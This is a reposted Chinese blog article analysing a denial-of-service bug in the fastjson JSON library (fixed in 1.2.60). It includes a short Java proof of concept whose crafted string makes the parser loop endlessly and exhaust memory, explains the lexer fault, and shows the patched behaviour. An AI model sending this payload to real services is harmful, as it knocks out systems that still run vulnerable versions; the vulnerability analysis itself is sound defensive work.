转载

再聊聊fastjson的一个漏洞

引言

我曾经写过一篇文章

fastjson远程代码执行漏洞问题分析

文章曾经比较详细分析了 fastjson 在1.2.24以及之前版本存在远程代码执行高危安全漏洞的问题。

本文则是针对另一个漏洞的介绍和分析。

官方对这次漏洞的说明是这样的:

近日,阿里云应急响应中心监测到fastjson爆出远程拒绝服务漏洞,攻击者在请求中构造特定json字符串,可远程造成服务器内存和CPU等资源耗尽,最终拒绝服务。官方已发布公告说明,最新的1.2.60和带有sec06字符的版本不受影响,请使用到的用户尽快升级至安全版本。

漏洞的详细说明以及重现

fastjson处理x转义字符不当,攻击者在请求中构造特定json字符串可导致服务器内存和CPU等资源耗尽,最终拒绝服务。阿里云应急响应中心提醒fastjson用户尽快采取安全措施阻止漏洞攻击。

官方说的很明白了,我们根据这段说明来构造一个“死亡”字符串重现下。

public class App {
    static final String DEATH_STRING = "{/"a/":/"//x";

    public static void main(String[] args) {
        try {
            JSON.parse(DEATH_STRING);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

运行这段代码,你会发现这段不足10行的代码居然可以导致OOM。

Exception in thread "main" java.lang.OutOfMemoryError: Java heap space
    at com.alibaba.fastjson.parser.JSONLexerBase.putChar(JSONLexerBase.java:5041)
    at com.alibaba.fastjson.parser.JSONLexerBase.scanString(JSONLexerBase.java:889)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:483)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1394)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1360)
    at com.alibaba.fastjson.JSON.parse(JSON.java:165)
    at com.alibaba.fastjson.JSON.parse(JSON.java:175)
    at com.alibaba.fastjson.JSON.parse(JSON.java:144)
    at com.app.App.main(App.java:21)

我们可以顺着这个异常信息,撸一撸源码,看看到底是哪里的BUG。

再聊聊fastjson的一个漏洞

再聊聊fastjson的一个漏洞

再聊聊fastjson的一个漏洞

如上图所示,当解析到字符 x 时,因为是最后一个字符,所以x1和x2都是 /u001A ,也就是十进制的26。因为每次 char ch = this.next(); 获取的都是26这个字符,然后就在第三张图的位置死循环了。

有人可能会问,

if (this.isEOF())

这个语句为啥没有生效,不是已经到了结尾了吗?那我们来看看 isEOF 的实现,

public boolean isEOF() {
        return this.bp == this.len || this.ch == 26 && this.bp + 1 == this.len;
    }

因为前面两次 next 操作,bp+1已经不等于len了,(你可以单步调试看看),所以 isEOF 方法永远返回 false

漏洞修复原理

官方已经给出了解决方案,那就是升级 fastjson 到1.2.60或以上版本。

我觉得作为一个优秀的程序员,既然知其然,也要知其所以然。我们来看看阿里的优秀工程师是如何修复这个漏洞的。我们把fastjson升级到 1.2.60 ,然后继续debug源码,发现代码变成了这样:

再聊聊fastjson的一个漏洞

这种解决方案虽然简单粗暴,但是也是很有效的不是吗,哈哈!

com.alibaba.fastjson.JSONException: invalid escape character /x
    at com.alibaba.fastjson.parser.JSONLexerBase.scanString(JSONLexerBase.java:983)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:483)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1397)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1363)
    at com.alibaba.fastjson.JSON.parse(JSON.java:170)
    at com.alibaba.fastjson.JSON.parse(JSON.java:180)
    at com.alibaba.fastjson.JSON.parse(JSON.java:149)
    at com.app.App.main(App.java:25)
原文  https://segmentfault.com/a/1190000022538268
正文到此结束
Loading...